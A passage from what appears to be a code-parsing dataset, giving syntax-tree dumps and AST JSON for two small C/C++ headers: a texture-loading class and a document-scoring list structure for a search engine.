(translation_unit) "#pragma once \n \n#include <boost/filesystem.hpp> \n \nclass TextureManager { \npublic: \n static uint32_t LoadTexture(boost::filesystem::path); \n}; \n" (preproc_call) "#pragma once \n" (preproc_directive) "#pragma" (preproc_arg) "once " (preproc_include) "#include <boost/filesystem.hpp> \n" (#include) "#include" (system_lib_string) "<boost/filesystem.hpp>" (function_definition) "class TextureManager { \npublic: \n static uint32_t LoadTexture(boost::filesystem::path); \n}" (type_identifier) "class" (identifier) "TextureManager" (compound_statement) "{ \npublic: \n static uint32_t LoadTexture(boost::filesystem::path); \n}" ({) "{" (labeled_statement) "public: \n static uint32_t LoadTexture(boost::filesystem::path);" (statement_identifier) "public" (:) ":" (declaration) "static uint32_t LoadTexture(boost::filesystem::path);" (storage_class_specifier) "static" (static) "static" (primitive_type) "uint32_t" (function_declarator) "LoadTexture(boost::filesystem::path)" (identifier) "LoadTexture" (parameter_list) "(boost::filesystem::path)" (() "(" (parameter_declaration) "boost::filesystem::path" (type_identifier) "boost" (ERROR) "::filesystem::" (:) ":" (:) ":" (identifier) "filesystem" (:) ":" (:) ":" (identifier) "path" ()) ")" (;) ";" (}) "}" (expression_statement) ";" (;) ";"
37
1
{"language": "c", "success": true, "metadata": {"lines": 8, "avg_line_length": 16.88, "nodes": 19, "errors": 0, "source_hash": "bed6298b42c61d5c41fc66ccc37e32537e842c3ef33517bd28b0ee258da7feb4", "categorized_nodes": 13}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\r\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once\r", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 13}}, {"id": 3, "type": "preproc_include", "text": "#include <boost/filesystem.hpp>\r\n", "parent": null, "children": [4, 5], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<boost/filesystem.hpp>", "parent": 3, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 31}}, {"id": 6, "type": "function_definition", "text": "class TextureManager {\r\npublic:\r\n\tstatic uint32_t LoadTexture(boost::filesystem::path);\r\n}", "parent": null, "children": [7], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 7, "column": 1}}, {"id": 7, "type": "identifier", "text": "TextureManager", "parent": 6, "children": [], "start_point": {"row": 4, "column": 6}, "end_point": {"row": 4, "column": 20}}, {"id": 8, "type": "labeled_statement", "text": "public:\r\n\tstatic uint32_t LoadTexture(boost::filesystem::path);", "parent": 6, "children": [9], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 54}}, {"id": 9, "type": "declaration", "text": "static uint32_t LoadTexture(boost::filesystem::path);", "parent": 8, "children": [10, 11], "start_point": {"row": 6, "column": 1}, "end_point": {"row": 6, "column": 54}}, {"id": 10, "type": "primitive_type", "text": "uint32_t", "parent": 9, "children": [], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 16}}, {"id": 11, "type": "function_declarator", "text": "LoadTexture(boost::filesystem::path)", "parent": 9, "children": [12, 13], "start_point": {"row": 6, "column": 17}, "end_point": {"row": 6, "column": 53}}, {"id": 12, "type": "identifier", "text": "LoadTexture", "parent": 11, "children": [], "start_point": {"row": 6, "column": 17}, "end_point": {"row": 6, "column": 28}}, {"id": 13, "type": "parameter_list", "text": "(boost::filesystem::path)", "parent": 11, "children": [14], "start_point": {"row": 6, "column": 28}, "end_point": {"row": 6, "column": 53}}, {"id": 14, "type": "parameter_declaration", "text": "boost::filesystem::path", "parent": 13, "children": [15, 16, 18], "start_point": {"row": 6, "column": 29}, "end_point": {"row": 6, "column": 52}}, {"id": 15, "type": "type_identifier", "text": "boost", "parent": 14, "children": [], "start_point": {"row": 6, "column": 29}, "end_point": {"row": 6, "column": 34}}, {"id": 16, "type": "ERROR", "text": "::filesystem::", "parent": 14, "children": [17], "start_point": {"row": 6, "column": 34}, "end_point": {"row": 6, "column": 48}}, {"id": 17, "type": "identifier", "text": "filesystem", "parent": 16, "children": [], "start_point": {"row": 6, "column": 36}, "end_point": {"row": 6, "column": 46}}, {"id": 18, "type": "identifier", "text": "path", "parent": 14, "children": [], "start_point": {"row": 6, "column": 48}, "end_point": {"row": 6, "column": 52}}]}, "node_categories": {"declarations": {"functions": [6, 11], "variables": [9, 14], "classes": [], "imports": [3, 4], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [7, 12, 15, 17, 18], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [5], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "TextureManager", "text_snippet": "class TextureManager {\r\npublic:\r\n\tstatic uint32_t LoadTexture(boost::filesystem::path);\r\n}"}, {"node_id": 11, "universal_type": "function", "name": "unknown", "text_snippet": "LoadTexture(boost::filesystem::path)"}], "class_declarations": [], "import_statements": [{"node_id": 3, "text": "#include <boost/filesystem.hpp>\r\n"}, {"node_id": 4, "text": "#include"}]}, "original_source_code": "#pragma once\r\n\r\n#include <boost/filesystem.hpp>\r\n\r\nclass TextureManager {\r\npublic:\r\n\tstatic uint32_t LoadTexture(boost::filesystem::path);\r\n};\r\n"}
81,149
c
/* * author: <NAME> */ #ifndef _TOP_DOC_H_ #define _TOP_DOC_H_ #include "../utils/int_list.h" struct _score_doc { int doc; float score; }; struct _score_doc* score_doc_initial(int _doc, float _score); struct _score_docs_node { struct _score_docs_node* next; struct _score_docs_node* prev; struct _score_doc* data; int index; }; struct _score_docs { struct _score_docs_node* curr; int size; }; struct _score_docs* score_docs_initial(); void score_docs_add(struct _score_docs* _s, struct _score_doc* _data); struct _score_doc* score_docs_get_curr(struct _score_docs* _s); struct _score_doc* score_docs_get_index(struct _score_docs* _s, int _index); void score_docs_rm_curr(struct _score_docs* _s); void score_docs_destory(struct _score_docs* _s); void score_docs_clear(struct _score_docs* _s); void score_docs_print(struct _score_docs* _s); struct _top_docs { int total_hits; struct _sort_field* fields; struct _score_docs* score_docs; }; struct _top_docs* top_docs_initial(int _total_hits, struct _score_docs* _sc_docs); #endif
20.02
50
(translation_unit) "/*\n * author: <NAME>\n */\n\n#ifndef _TOP_DOC_H_\n#define _TOP_DOC_H_\n\n#include "../utils/int_list.h"\n\nstruct _score_doc\n{\n int doc;\n float score;\n};\n\nstruct _score_doc*\nscore_doc_initial(int _doc, float _score);\n\nstruct _score_docs_node\n{\n struct _score_docs_node* next;\n struct _score_docs_node* prev;\n struct _score_doc* data;\n int index;\n};\n\nstruct _score_docs\n{\n struct _score_docs_node* curr;\n int size;\n};\n\nstruct _score_docs*\nscore_docs_initial();\n\nvoid\nscore_docs_add(struct _score_docs* _s, struct _score_doc* _data);\n\nstruct _score_doc*\nscore_docs_get_curr(struct _score_docs* _s);\n\nstruct _score_doc*\nscore_docs_get_index(struct _score_docs* _s, int _index);\n\nvoid\nscore_docs_rm_curr(struct _score_docs* _s);\n\nvoid\nscore_docs_destory(struct _score_docs* _s);\n\nvoid\nscore_docs_clear(struct _score_docs* _s);\n\nvoid\nscore_docs_print(struct _score_docs* _s);\n\nstruct _top_docs\n{\n int total_hits;\n struct _sort_field* fields;\n struct _score_docs* score_docs;\n};\n\nstruct _top_docs*\ntop_docs_initial(int _total_hits, struct _score_docs* _sc_docs);\n\n#endif\n\n" (comment) "/*\n * author: <NAME>\n */" (preproc_ifdef) "#ifndef _TOP_DOC_H_\n#define _TOP_DOC_H_\n\n#include "../utils/int_list.h"\n\nstruct _score_doc\n{\n int doc;\n float score;\n};\n\nstruct _score_doc*\nscore_doc_initial(int _doc, float _score);\n\nstruct _score_docs_node\n{\n struct _score_docs_node* next;\n struct _score_docs_node* prev;\n struct _score_doc* data;\n int index;\n};\n\nstruct _score_docs\n{\n struct _score_docs_node* curr;\n int size;\n};\n\nstruct _score_docs*\nscore_docs_initial();\n\nvoid\nscore_docs_add(struct _score_docs* _s, struct _score_doc* _data);\n\nstruct _score_doc*\nscore_docs_get_curr(struct _score_docs* _s);\n\nstruct _score_doc*\nscore_docs_get_index(struct _score_docs* _s, int _index);\n\nvoid\nscore_docs_rm_curr(struct _score_docs* _s);\n\nvoid\nscore_docs_destory(struct _score_docs* _s);\n\nvoid\nscore_docs_clear(struct _score_docs* _s);\n\nvoid\nscore_docs_print(struct _score_docs* _s);\n\nstruct _top_docs\n{\n int total_hits;\n struct _sort_field* fields;\n struct _score_docs* score_docs;\n};\n\nstruct _top_docs*\ntop_docs_initial(int _total_hits, struct _score_docs* _sc_docs);\n\n#endif" (#ifndef) "#ifndef" (identifier) "_TOP_DOC_H_" (preproc_def) "#define _TOP_DOC_H_\n" (#define) "#define" (identifier) "_TOP_DOC_H_" (preproc_include) "#include "../utils/int_list.h"\n" (#include) "#include" (string_literal) ""../utils/int_list.h"" (") """ (string_content) "../utils/int_list.h" (") """ (struct_specifier) "struct _score_doc\n{\n int doc;\n float score;\n}" (struct) "struct" (type_identifier) "_score_doc" (field_declaration_list) "{\n int doc;\n float score;\n}" ({) "{" (field_declaration) "int doc;" (primitive_type) "int" (field_identifier) "doc" (;) ";" (field_declaration) "float score;" (primitive_type) "float" (field_identifier) "score" (;) ";" (}) "}" (;) ";" (declaration) "struct _score_doc*\nscore_doc_initial(int _doc, float _score);" (struct_specifier) "struct _score_doc" (struct) "struct" (type_identifier) "_score_doc" (pointer_declarator) "*\nscore_doc_initial(int _doc, float _score)" (*) "*" (function_declarator) "score_doc_initial(int _doc, float _score)" (identifier) "score_doc_initial" (parameter_list) "(int _doc, float _score)" (() "(" (parameter_declaration) "int _doc" (primitive_type) "int" (identifier) "_doc" (,) "," (parameter_declaration) "float _score" (primitive_type) "float" (identifier) "_score" ()) ")" (;) ";" (struct_specifier) "struct _score_docs_node\n{\n struct _score_docs_node* next;\n struct _score_docs_node* prev;\n struct _score_doc* data;\n int index;\n}" (struct) "struct" (type_identifier) "_score_docs_node" (field_declaration_list) "{\n struct _score_docs_node* next;\n struct _score_docs_node* prev;\n struct _score_doc* data;\n int index;\n}" ({) "{" (field_declaration) "struct _score_docs_node* next;" (struct_specifier) "struct _score_docs_node" (struct) "struct" (type_identifier) "_score_docs_node" (pointer_declarator) "* next" (*) "*" (field_identifier) "next" (;) ";" (field_declaration) "struct _score_docs_node* prev;" (struct_specifier) "struct _score_docs_node" (struct) "struct" (type_identifier) "_score_docs_node" (pointer_declarator) "* prev" (*) "*" (field_identifier) "prev" (;) ";" (field_declaration) "struct _score_doc* data;" (struct_specifier) "struct _score_doc" (struct) "struct" (type_identifier) "_score_doc" (pointer_declarator) "* data" (*) "*" (field_identifier) "data" (;) ";" (field_declaration) "int index;" (primitive_type) "int" (field_identifier) "index" (;) ";" (}) "}" (;) ";" (struct_specifier) "struct _score_docs\n{\n struct _score_docs_node* curr;\n int size;\n}" (struct) "struct" (type_identifier) "_score_docs" (field_declaration_list) "{\n struct _score_docs_node* curr;\n int size;\n}" ({) "{" (field_declaration) "struct _score_docs_node* curr;" (struct_specifier) "struct _score_docs_node" (struct) "struct" (type_identifier) "_score_docs_node" (pointer_declarator) "* curr" (*) "*" (field_identifier) "curr" (;) ";" (field_declaration) "int size;" (primitive_type) "int" (field_identifier) "size" (;) ";" (}) "}" (;) ";" (declaration) "struct _score_docs*\nscore_docs_initial();" (struct_specifier) "struct _score_docs" (struct) "struct" (type_identifier) "_score_docs" (pointer_declarator) "*\nscore_docs_initial()" (*) "*" (function_declarator) "score_docs_initial()" (identifier) "score_docs_initial" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "void\nscore_docs_add(struct _score_docs* _s, struct _score_doc* _data);" (primitive_type) "void" (function_declarator) "score_docs_add(struct _score_docs* _s, struct _score_doc* _data)" (identifier) "score_docs_add" (parameter_list) "(struct _score_docs* _s, struct _score_doc* _data)" (() "(" (parameter_declaration) "struct _score_docs* _s" (struct_specifier) "struct _score_docs" (struct) "struct" (type_identifier) "_score_docs" (pointer_declarator) "* _s" (*) "*" (identifier) "_s" (,) "," (parameter_declaration) "struct _score_doc* _data" (struct_specifier) "struct _score_doc" (struct) "struct" (type_identifier) "_score_doc" (pointer_declarator) "* _data" (*) "*" (identifier) "_data" ()) ")" (;) ";" (declaration) "struct _score_doc*\nscore_docs_get_curr(struct _score_docs* _s);" (struct_specifier) "struct _score_doc" (struct) "struct" (type_identifier) "_score_doc" (pointer_declarator) "*\nscore_docs_get_curr(struct _score_docs* _s)" (*) "*" (function_declarator) "score_docs_get_curr(struct _score_docs* _s)" (identifier) "score_docs_get_curr" (parameter_list) "(struct _score_docs* _s)" (() "(" (parameter_declaration) "struct _score_docs* _s" (struct_specifier) "struct _score_docs" (struct) "struct" (type_identifier) "_score_docs" (pointer_declarator) "* _s" (*) "*" (identifier) "_s" ()) ")" (;) ";" (declaration) "struct _score_doc*\nscore_docs_get_index(struct _score_docs* _s, int _index);" (struct_specifier) "struct _score_doc" (struct) "struct" (type_identifier) "_score_doc" (pointer_declarator) "*\nscore_docs_get_index(struct _score_docs* _s, int _index)" (*) "*" (function_declarator) "score_docs_get_index(struct _score_docs* _s, int _index)" (identifier) "score_docs_get_index" (parameter_list) "(struct _score_docs* _s, int _index)" (() "(" (parameter_declaration) "struct _score_docs* _s" (struct_specifier) "struct _score_docs" (struct) "struct" (type_identifier) "_score_docs" (pointer_declarator) "* _s" (*) "*" (identifier) "_s" (,) "," (parameter_declaration) "int _index" (primitive_type) "int" (identifier) "_index" ()) ")" (;) ";" (declaration) "void\nscore_docs_rm_curr(struct _score_docs* _s);" (primitive_type) "void" (function_declarator) "score_docs_rm_curr(struct _score_docs* _s)" (identifier) "score_docs_rm_curr" (parameter_list) "(struct _score_docs* _s)" (() "(" (parameter_declaration) "struct _score_docs* _s" (struct_specifier) "struct _score_docs" (struct) "struct" (type_identifier) "_score_docs" (pointer_declarator) "* _s" (*) "*" (identifier) "_s" ()) ")" (;) ";" (declaration) "void\nscore_docs_destory(struct _score_docs* _s);" (primitive_type) "void" (function_declarator) "score_docs_destory(struct _score_docs* _s)" (identifier) "score_docs_destory" (parameter_list) "(struct _score_docs* _s)" (() "(" (parameter_declaration) "struct _score_docs* _s" (struct_specifier) "struct _score_docs" (struct) "struct" (type_identifier) "_score_docs" (pointer_declarator) "* _s" (*) "*" (identifier) "_s" ()) ")" (;) ";" (declaration) "void\nscore_docs_clear(struct _score_docs* _s);" (primitive_type) "void" (function_declarator) "score_docs_clear(struct _score_docs* _s)" (identifier) "score_docs_clear" (parameter_list) "(struct _score_docs* _s)" (() "(" (parameter_declaration) "struct _score_docs* _s" (struct_specifier) "struct _score_docs" (struct) "struct" (type_identifier) "_score_docs" (pointer_declarator) "* _s" (*) "*" (identifier) "_s" ()) ")" (;) ";" (declaration) "void\nscore_docs_print(struct _score_docs* _s);" (primitive_type) "void" (function_declarator) "score_docs_print(struct _score_docs* _s)" (identifier) "score_docs_print" (parameter_list) "(struct _score_docs* _s)" (() "(" (parameter_declaration) "struct _score_docs* _s" (struct_specifier) "struct _score_docs" (struct) "struct" (type_identifier) "_score_docs" (pointer_declarator) "* _s" (*) "*" (identifier) "_s" ()) ")" (;) ";" (struct_specifier) "struct _top_docs\n{\n int total_hits;\n struct _sort_field* fields;\n struct _score_docs* score_docs;\n}" (struct) "struct" (type_identifier) "_top_docs" (field_declaration_list) "{\n int total_hits;\n struct _sort_field* fields;\n struct _score_docs* score_docs;\n}" ({) "{" (field_declaration) "int total_hits;" (primitive_type) "int" (field_identifier) "total_hits" (;) ";" (field_declaration) "struct _sort_field* fields;" (struct_specifier) "struct _sort_field" (struct) "struct" (type_identifier) "_sort_field" (pointer_declarator) "* fields" (*) "*" (field_identifier) "fields" (;) ";" (field_declaration) "struct _score_docs* score_docs;" (struct_specifier) "struct _score_docs" (struct) "struct" (type_identifier) "_score_docs" (pointer_declarator) "* score_docs" (*) "*" (field_identifier) "score_docs" (;) ";" (}) "}" (;) ";" (declaration) "struct _top_docs*\ntop_docs_initial(int _total_hits, struct _score_docs* _sc_docs);" (struct_specifier) "struct _top_docs" (struct) "struct" (type_identifier) "_top_docs" (pointer_declarator) "*\ntop_docs_initial(int _total_hits, struct _score_docs* _sc_docs)" (*) "*" (function_declarator) "top_docs_initial(int _total_hits, struct _score_docs* _sc_docs)" (identifier) "top_docs_initial" (parameter_list) "(int _total_hits, struct _score_docs* _sc_docs)" (() "(" (parameter_declaration) "int _total_hits" (primitive_type) "int" (identifier) "_total_hits" (,) "," (parameter_declaration) "struct _score_docs* _sc_docs" (struct_specifier) "struct _score_docs" (struct) "struct" (type_identifier) "_score_docs" (pointer_declarator) "* _sc_docs" (*) "*" (identifier) "_sc_docs" ()) ")" (;) ";" (#endif) "#endif"
290
0
{"language": "c", "success": true, "metadata": {"lines": 50, "avg_line_length": 20.02, "nodes": 224, "errors": 0, "source_hash": "92da25ab90ae369a7e5290f6f442bb951e6e14918a066b046f7f21de3da131c1", "categorized_nodes": 158}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef _TOP_DOC_H_\n#define _TOP_DOC_H_\n\n#include \"../utils/int_list.h\"\n\nstruct _score_doc\n{\n int doc;\n float score;\n};\n\nstruct _score_doc*\nscore_doc_initial(int _doc, float _score);\n\nstruct _score_docs_node\n{\n struct _score_docs_node* next;\n struct _score_docs_node* prev;\n struct _score_doc* data;\n int index;\n};\n\nstruct _score_docs\n{\n struct _score_docs_node* curr;\n int size;\n};\n\nstruct _score_docs*\nscore_docs_initial();\n\nvoid\nscore_docs_add(struct _score_docs* _s, struct _score_doc* _data);\n\nstruct _score_doc*\nscore_docs_get_curr(struct _score_docs* _s);\n\nstruct _score_doc*\nscore_docs_get_index(struct _score_docs* _s, int _index);\n\nvoid\nscore_docs_rm_curr(struct _score_docs* _s);\n\nvoid\nscore_docs_destory(struct _score_docs* _s);\n\nvoid\nscore_docs_clear(struct _score_docs* _s);\n\nvoid\nscore_docs_print(struct _score_docs* _s);\n\nstruct _top_docs\n{\n int total_hits;\n struct _sort_field* fields;\n struct _score_docs* score_docs;\n};\n\nstruct _top_docs*\ntop_docs_initial(int _total_hits, struct _score_docs* _sc_docs);\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 18, 33, 60, 73, 82, 101, 117, 136, 148, 160, 172, 184, 204, 223], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 66, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 7}}, {"id": 2, "type": "identifier", "text": "_TOP_DOC_H_", "parent": 0, "children": [], "start_point": {"row": 4, "column": 8}, "end_point": {"row": 4, "column": 19}}, {"id": 3, "type": "preproc_def", "text": "#define _TOP_DOC_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 5, "type": "identifier", "text": "_TOP_DOC_H_", "parent": 3, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 19}}, {"id": 6, "type": "preproc_include", "text": "#include \"../utils/int_list.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"../utils/int_list.h\"", "parent": 6, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 30}}, {"id": 9, "type": "struct_specifier", "text": "struct _score_doc\n{\n int doc;\n float score;\n}", "parent": 0, "children": [10, 11], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 13, "column": 1}}, {"id": 10, "type": "struct", "text": "struct", "parent": 9, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 6}}, {"id": 11, "type": "type_identifier", "text": "_score_doc", "parent": 9, "children": [], "start_point": {"row": 9, "column": 7}, "end_point": {"row": 9, "column": 17}}, {"id": 12, "type": "field_declaration", "text": "int doc;", "parent": 9, "children": [13, 14], "start_point": {"row": 11, "column": 2}, "end_point": {"row": 11, "column": 10}}, {"id": 13, "type": "primitive_type", "text": "int", "parent": 12, "children": [], "start_point": {"row": 11, "column": 2}, "end_point": {"row": 11, "column": 5}}, {"id": 14, "type": "field_identifier", "text": "doc", "parent": 12, "children": [], "start_point": {"row": 11, "column": 6}, "end_point": {"row": 11, "column": 9}}, {"id": 15, "type": "field_declaration", "text": "float score;", "parent": 9, "children": [16, 17], "start_point": {"row": 12, "column": 2}, "end_point": {"row": 12, "column": 14}}, {"id": 16, "type": "primitive_type", "text": "float", "parent": 15, "children": [], "start_point": {"row": 12, "column": 2}, "end_point": {"row": 12, "column": 7}}, {"id": 17, "type": "field_identifier", "text": "score", "parent": 15, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 13}}, {"id": 18, "type": "declaration", "text": "struct _score_doc*\nscore_doc_initial(int _doc, float _score);", "parent": 0, "children": [19, 22], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 42}}, {"id": 19, "type": "struct_specifier", "text": "struct _score_doc", "parent": 18, "children": [20, 21], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 17}}, {"id": 20, "type": "struct", "text": "struct", "parent": 19, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 6}}, {"id": 21, "type": "type_identifier", "text": "_score_doc", "parent": 19, "children": [], "start_point": {"row": 15, "column": 7}, "end_point": {"row": 15, "column": 17}}, {"id": 22, "type": "pointer_declarator", "text": "*\nscore_doc_initial(int _doc, float _score)", "parent": 18, "children": [23, 24], "start_point": {"row": 15, "column": 17}, "end_point": {"row": 16, "column": 41}}, {"id": 23, "type": "*", "text": "*", "parent": 22, "children": [], "start_point": {"row": 15, "column": 17}, "end_point": {"row": 15, "column": 18}}, {"id": 24, "type": "function_declarator", "text": "score_doc_initial(int _doc, float _score)", "parent": 22, "children": [25, 26], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 41}}, {"id": 25, "type": "identifier", "text": "score_doc_initial", "parent": 24, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 17}}, {"id": 26, "type": "parameter_list", "text": "(int _doc, float _score)", "parent": 24, "children": [27, 30], "start_point": {"row": 16, "column": 17}, "end_point": {"row": 16, "column": 41}}, {"id": 27, "type": "parameter_declaration", "text": "int _doc", "parent": 26, "children": [28, 29], "start_point": {"row": 16, "column": 18}, "end_point": {"row": 16, "column": 26}}, {"id": 28, "type": "primitive_type", "text": "int", "parent": 27, "children": [], "start_point": {"row": 16, "column": 18}, "end_point": {"row": 16, "column": 21}}, {"id": 29, "type": "identifier", "text": "_doc", "parent": 27, "children": [], "start_point": {"row": 16, "column": 22}, "end_point": {"row": 16, "column": 26}}, {"id": 30, "type": "parameter_declaration", "text": "float _score", "parent": 26, "children": [31, 32], "start_point": {"row": 16, "column": 28}, "end_point": {"row": 16, "column": 40}}, {"id": 31, "type": "primitive_type", "text": "float", "parent": 30, "children": [], "start_point": {"row": 16, "column": 28}, "end_point": {"row": 16, "column": 33}}, {"id": 32, "type": "identifier", "text": "_score", "parent": 30, "children": [], "start_point": {"row": 16, "column": 34}, "end_point": {"row": 16, "column": 40}}, {"id": 33, "type": "struct_specifier", "text": "struct _score_docs_node\n{\n struct _score_docs_node* next;\n struct _score_docs_node* prev;\n struct _score_doc* data;\n int index;\n}", "parent": 0, "children": [34, 35], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 24, "column": 1}}, {"id": 34, "type": "struct", "text": "struct", "parent": 33, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 6}}, {"id": 35, "type": "type_identifier", "text": "_score_docs_node", "parent": 33, "children": [], "start_point": {"row": 18, "column": 7}, "end_point": {"row": 18, "column": 23}}, {"id": 36, "type": "field_declaration", "text": "struct _score_docs_node* next;", "parent": 33, "children": [37, 40], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 32}}, {"id": 37, "type": "struct_specifier", "text": "struct _score_docs_node", "parent": 36, "children": [38, 39], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 25}}, {"id": 38, "type": "struct", "text": "struct", "parent": 37, "children": [], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 8}}, {"id": 39, "type": "type_identifier", "text": "_score_docs_node", "parent": 37, "children": [], "start_point": {"row": 20, "column": 9}, "end_point": {"row": 20, "column": 25}}, {"id": 40, "type": "pointer_declarator", "text": "* next", "parent": 36, "children": [41, 42], "start_point": {"row": 20, "column": 25}, "end_point": {"row": 20, "column": 31}}, {"id": 41, "type": "*", "text": "*", "parent": 40, "children": [], "start_point": {"row": 20, "column": 25}, "end_point": {"row": 20, "column": 26}}, {"id": 42, "type": "field_identifier", "text": "next", "parent": 40, "children": [], "start_point": {"row": 20, "column": 27}, "end_point": {"row": 20, "column": 31}}, {"id": 43, "type": "field_declaration", "text": "struct _score_docs_node* prev;", "parent": 33, "children": [44, 47], "start_point": {"row": 21, "column": 2}, "end_point": {"row": 21, "column": 32}}, {"id": 44, "type": "struct_specifier", "text": "struct _score_docs_node", "parent": 43, "children": [45, 46], "start_point": {"row": 21, "column": 2}, "end_point": {"row": 21, "column": 25}}, {"id": 45, "type": "struct", "text": "struct", "parent": 44, "children": [], "start_point": {"row": 21, "column": 2}, "end_point": {"row": 21, "column": 8}}, {"id": 46, "type": "type_identifier", "text": "_score_docs_node", "parent": 44, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 25}}, {"id": 47, "type": "pointer_declarator", "text": "* prev", "parent": 43, "children": [48, 49], "start_point": {"row": 21, "column": 25}, "end_point": {"row": 21, "column": 31}}, {"id": 48, "type": "*", "text": "*", "parent": 47, "children": [], "start_point": {"row": 21, "column": 25}, "end_point": {"row": 21, "column": 26}}, {"id": 49, "type": "field_identifier", "text": "prev", "parent": 47, "children": [], "start_point": {"row": 21, "column": 27}, "end_point": {"row": 21, "column": 31}}, {"id": 50, "type": "field_declaration", "text": "struct _score_doc* data;", "parent": 33, "children": [51, 54], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 26}}, {"id": 51, "type": "struct_specifier", "text": "struct _score_doc", "parent": 50, "children": [52, 53], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 19}}, {"id": 52, "type": "struct", "text": "struct", "parent": 51, "children": [], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 8}}, {"id": 53, "type": "type_identifier", "text": "_score_doc", "parent": 51, "children": [], "start_point": {"row": 22, "column": 9}, "end_point": {"row": 22, "column": 19}}, {"id": 54, "type": "pointer_declarator", "text": "* data", "parent": 50, "children": [55, 56], "start_point": {"row": 22, "column": 19}, "end_point": {"row": 22, "column": 25}}, {"id": 55, "type": "*", "text": "*", "parent": 54, "children": [], "start_point": {"row": 22, "column": 19}, "end_point": {"row": 22, "column": 20}}, {"id": 56, "type": "field_identifier", "text": "data", "parent": 54, "children": [], "start_point": {"row": 22, "column": 21}, "end_point": {"row": 22, "column": 25}}, {"id": 57, "type": "field_declaration", "text": "int index;", "parent": 33, "children": [58, 59], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 23, "column": 12}}, {"id": 58, "type": "primitive_type", "text": "int", "parent": 57, "children": [], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 23, "column": 5}}, {"id": 59, "type": "field_identifier", "text": "index", "parent": 57, "children": [], "start_point": {"row": 23, "column": 6}, "end_point": {"row": 23, "column": 11}}, {"id": 60, "type": "struct_specifier", "text": "struct _score_docs\n{\n struct _score_docs_node* curr;\n int size;\n}", "parent": 0, "children": [61, 62], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 30, "column": 1}}, {"id": 61, "type": "struct", "text": "struct", "parent": 60, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 6}}, {"id": 62, "type": "type_identifier", "text": "_score_docs", "parent": 60, "children": [], "start_point": {"row": 26, "column": 7}, "end_point": {"row": 26, "column": 18}}, {"id": 63, "type": "field_declaration", "text": "struct _score_docs_node* curr;", "parent": 60, "children": [64, 67], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 28, "column": 32}}, {"id": 64, "type": "struct_specifier", "text": "struct _score_docs_node", "parent": 63, "children": [65, 66], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 28, "column": 25}}, {"id": 65, "type": "struct", "text": "struct", "parent": 64, "children": [], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 28, "column": 8}}, {"id": 66, "type": "type_identifier", "text": "_score_docs_node", "parent": 64, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 25}}, {"id": 67, "type": "pointer_declarator", "text": "* curr", "parent": 63, "children": [68, 69], "start_point": {"row": 28, "column": 25}, "end_point": {"row": 28, "column": 31}}, {"id": 68, "type": "*", "text": "*", "parent": 67, "children": [], 